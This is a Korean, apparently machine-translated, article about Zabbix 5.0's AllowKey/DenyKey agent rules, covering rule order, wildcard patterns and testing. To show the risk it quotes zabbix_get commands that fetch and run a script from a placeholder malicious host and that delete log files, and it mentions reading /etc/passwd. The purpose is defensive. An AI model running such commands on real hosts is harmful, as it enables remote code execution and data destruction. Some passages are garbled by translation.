Zabbix 5.0의 에이전트 측 측정항목에 대한 블랙리스트 및 화이트리스트 지원

에이전트 측 메트릭에 대한 블랙리스트 및 화이트리스트 지원

티콘 우스코프, Zabbix 통합 엔지니어

데이터 보안 문제

Zabbix 5.0은 Zabbix Agent를 사용하는 시스템의 보안을 개선하고 기존 매개변수를 대체하는 새로운 기능을 도입합니다. 원격 명령 활성화.

에이전트 기반 시스템의 보안이 향상된 이유는 에이전트가 잠재적으로 위험한 작업을 다수 수행할 수 있기 때문입니다.

• 에이전트는 구성 파일, 로그 파일, 암호 파일 또는 기타 모든 파일에서 기밀 정보나 잠재적으로 위험한 정보를 포함한 거의 모든 정보를 수집할 수 있습니다.

예를 들어, zabbix_get 유틸리티를 사용하면 사용자 목록, 홈 디렉토리, 비밀번호가 있는 파일 등에 액세스할 수 있습니다.

zabbix_get 유틸리티를 사용하여 데이터 액세스

참고. 에이전트가 해당 파일에 대한 읽기 권한을 가지고 있는 경우에만 데이터를 검색할 수 있습니다.. 하지만 예를 들어 파일 /etc/passwd/ 모든 사용자가 읽을 수 있습니다.

• 에이전트는 잠재적으로 위험한 명령을 실행할 수도 있습니다. 예를 들어, 키 *시스템.실행[]** Zabbix 웹 인터페이스에서 스크립트를 실행하고 에이전트 측에서 명령을 실행하는 것을 포함하여 네트워크 노드에서 모든 원격 명령을 실행할 수 있습니다.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

• В Linux 에이전트는 기본적으로 루트 권한 없이 실행되지만, Windows Zabbix 에이전트는 시스템 이름으로 서비스로 실행되며 파일 시스템에 대한 무제한 액세스 권한을 갖습니다. 따라서 설치 후 Zabbix 에이전트 설정을 변경하지 않는 한, 에이전트는 레지스트리, 파일 시스템에 액세스하고 WMI 쿼리를 실행할 수 있습니다.

이전 버전에서는 매개변수 EnableRemoteCommands=0 * 키로만 메트릭 비활성화가 허용됨시스템.실행[]** 웹 인터페이스에서 스크립트를 실행할 수는 있지만 개별 파일에 대한 액세스를 제한하거나, 에이전트와 함께 설치된 개별 키를 허용하거나 거부하거나, 개별 매개변수의 사용을 제한할 방법이 없습니다.

이전 버전의 Zabbix에서 EnableRemoteCommand 매개변수 사용

AllowKey/DenyKey

Zabbix 5.0은 에이전트 측에서 메트릭을 허용하거나 허용하지 않는 허용 목록과 차단 목록을 통해 이러한 무단 액세스를 방지하는 데 도움이 됩니다.

Zabbix 5.0에서는 *를 포함한 모든 키시스템.실행[]**가 활성화되었으며 두 개의 새로운 에이전트 구성 매개변수가 추가되었습니다.

허용키= — 허용된 검사

DenyKey= - 금지된 검사

여기서 키 이름과 매개변수의 패턴은 메타문자(*)를 사용합니다.

AllowKey 및 DenyKey 키를 사용하면 특정 패턴에 따라 개별 메트릭을 허용하거나 거부할 수 있습니다. 다른 구성 매개변수와 달리 AllowKey/DenyKey 매개변수의 수는 제한되지 않습니다. 이를 통해 검사 트리(실행할 키)를 만들어 시스템에서 에이전트가 정확히 무엇을 할 수 있는지 명확하게 정의할 수 있으며, 여기서 키를 작성하는 순서는 매우 중요한 역할을 합니다.

규칙의 순서

규칙은 구성 파일에 입력된 순서대로 확인됩니다. 첫 번째 일치 항목이 발견될 때까지 키를 규칙에 따라 검사하고, 데이터 요소 키가 패턴과 일치하면 즉시 허용되거나 거부됩니다. 이후, 규칙 검사는 중지되고 나머지 키는 무시됩니다.

따라서 요소가 허용 규칙과 거부 규칙 모두와 일치하는 경우 결과는 구성 파일에서 어느 규칙이 먼저 나오는지에 따라 달라집니다.

동일한 패턴과 키를 가진 2개의 다른 규칙 vfs.파일.크기[/tmp/파일]

AllowKey/DenyKey 키 사용 순서:

1. 정확한 규칙,
2. 일반 규칙,
3. 금지 규칙.

예를 들어, 특정 폴더의 파일에 액세스해야 하는 경우 먼저 해당 파일에 대한 액세스를 허용한 다음, 설정된 권한에 해당하지 않는 다른 모든 액세스를 거부해야 합니다. 거부 규칙을 먼저 사용하면 폴더에 대한 액세스가 거부됩니다.

올바른 순서

*를 통해 2개의 유틸리티를 실행해야 하는 경우시스템.실행[]**, 지정된 첫 번째 규칙이 거부 규칙이면 첫 번째 패턴은 항상 모든 키와 일치하고 후속 규칙은 무시되므로 유틸리티가 실행되지 않습니다.

잘못된 순서

패턴

기본 규칙

패턴은 와일드카드 표현식입니다. 와일드카드(*)는 특정 위치에 있는 모든 문자와 일치합니다. 메타문자는 키 이름과 매개변수 모두에 사용할 수 있습니다. 예를 들어, 첫 번째 매개변수를 텍스트로 하드코딩할 수 있습니다. 그리고 다음을 와일드카드로 지정하세요.

매개변수는 대괄호 []로 묶어야 합니다.

• system.run[* - 잘못된
• vfs.file*.txt] - 잘못된
• vfs.file.*[*] - 오른쪽

와일드카드 사용 예

1. 키 이름과 매개변수에. 이 경우, 패턴에서 키 이름의 특정 끝부분과 특정 매개변수 세트를 가져오고 싶다고 지정했기 때문에 키는 매개변수를 포함하지 않는 유사한 키와 일치하지 않습니다.
2. 패턴에 대괄호를 사용하지 않으면 패턴은 매개변수를 포함하지 않는 모든 키를 허용하고 지정된 매개변수를 포함하는 모든 키를 허용하지 않습니다.
3. 키가 전체적으로 작성되고 매개변수가 와일드카드로 지정된 경우, 매개변수가 있는 모든 유사한 키와 일치하며, 대괄호가 없는 키와는 일치하지 않습니다. 즉, 허용되거나 거부됩니다.

매개변수를 채우기 위한 규칙.

• 매개변수가 있는 키를 사용하려는 경우, 구성 파일에서 매개변수를 지정해야 합니다. 매개변수는 메타문자로 지정해야 합니다. 모든 파일에 대한 접근을 신중하게 금지하고, 매개변수가 있는 경우와 없는 경우 등 다양한 쓰기 옵션에 따라 메트릭이 제공할 수 있는 정보를 고려해야 합니다.

매개변수를 사용하여 키를 작성하는 기능

• 키가 매개변수와 함께 지정되었지만 매개변수가 선택 사항이고 메타문자로 지정된 경우 매개변수가 없는 키도 허용됩니다. 예를 들어, CPU 부하 정보 수신을 비활성화하고 system.cpu.load[*] 키를 비활성화하도록 지정하려는 경우 매개변수가 없는 키는 평균 부하 값을 반환한다는 점을 기억하세요.

매개변수 채우기 규칙

참고

조정

• 검색 규칙이나 에이전트 자동 등록과 같은 일부 규칙은 사용자가 변경할 수 없습니다. AllowKey/DenyKey 규칙은 다음 매개변수에 영향을 미치지 않습니다.
  — 호스트 이름 항목
  — 호스트 메타데이터 항목
  — 호스트 인터페이스 항목

참고. 관리자가 키를 금지하는 경우 Zabbix는 메트릭 또는 키가 '에 속하는 이유'에 대한 정보를 제공하지 않습니다.지원되지 않음'. 에이전트 로그 파일에는 원격 명령 실행 금지 사항에 대한 정보도 표시되지 않습니다. 이는 보안상의 이유로 수행되지만, 어떤 이유로든 메트릭이 지원되지 않는 범주에 속하는 경우 디버깅이 더 어려워질 수 있습니다..

• 외부 구성 파일을 연결할 때 특정 순서(예: 알파벳순)에 의존해서는 안 됩니다.

명령줄 유틸리티

규칙을 설정한 후에는 모든 것이 올바르게 설정되었는지 확인해야 합니다.

다음 세 가지 옵션 중 하나를 사용할 수 있습니다.

• Zabbix에 메트릭을 추가합니다.
• 테스트 자빅스 에이전트. 옵션이 있는 Zabbix 에이전트 -인쇄(-p) 구성에서 허용되지 않은 키를 제외한 모든 키(기본적으로 허용됨)를 표시합니다. 그리고 옵션으로 -테스트(-t) 금지된 키는 '로 반환됩니다.지원되지 않는 항목 키'.
• 테스트 zabbix_get. 공익사업 zabbix_get 옵션 포함 -k 돌아올 것이다 'ZBX_NOTSUPPORTED: 알 수 없는 메트릭'.

허용 또는 거부

예를 들어 유틸리티를 사용하여 파일에 대한 액세스를 거부하고 확인할 수 있습니다. zabbix_get해당 파일에 대한 접근이 거부되었습니다.

**

참고. 매개변수의 따옴표는 무시됩니다..

하지만 다른 경로를 통해 해당 파일에 대한 접근이 허용될 수도 있습니다. 예를 들어, 심볼릭 링크가 여기로 연결되는 경우입니다.

설정한 규칙을 적용하기 위한 다양한 옵션을 테스트해 보는 것이 좋으며, 금지 사항을 우회할 가능성도 고려해 보는 것이 좋습니다.

질문과 답변

문제. 규칙, 허가 및 금지 사항을 설명하는 데 고유한 언어가 포함된 이렇게 복잡한 패턴 체계를 선택한 이유는 무엇일까요? 예를 들어 Zabbix에서 사용하는 정규 표현식을 사용할 수 없는 이유는 무엇입니까?

답변. 이는 정규 표현식의 성능 문제로, 일반적으로 에이전트가 하나뿐이며 엄청난 수의 메트릭을 검사하기 때문입니다. 정규 표현식은 매우 무거운 작업이므로 이 방법으로 수천 개의 측정 항목을 검사할 수는 없습니다. 와일드카드는 보편적이고 널리 사용되는 간단한 솔루션입니다..

문제. Include 파일은 알파벳순으로 포함되어 있지 않나요?

답변. 제가 아는 한, 여러 파일에 규칙을 분산하면 규칙이 적용되는 순서를 예측하는 것은 사실상 불가능합니다. 모든 AllowKey/DenyKey 규칙을 하나의 Include 파일에 넣는 것이 좋습니다. 이 두 규칙은 서로 상호 작용하고 해당 파일을 포함하기 때문입니다..

문제. Zabbix 5.0에서는 'EnableRemoteCommands='가 구성 파일에 없고 AllowKey/DenyKey만 사용할 수 있나요?

답변. 네, 맞습니다..

감사합니다!

출처 : habr.com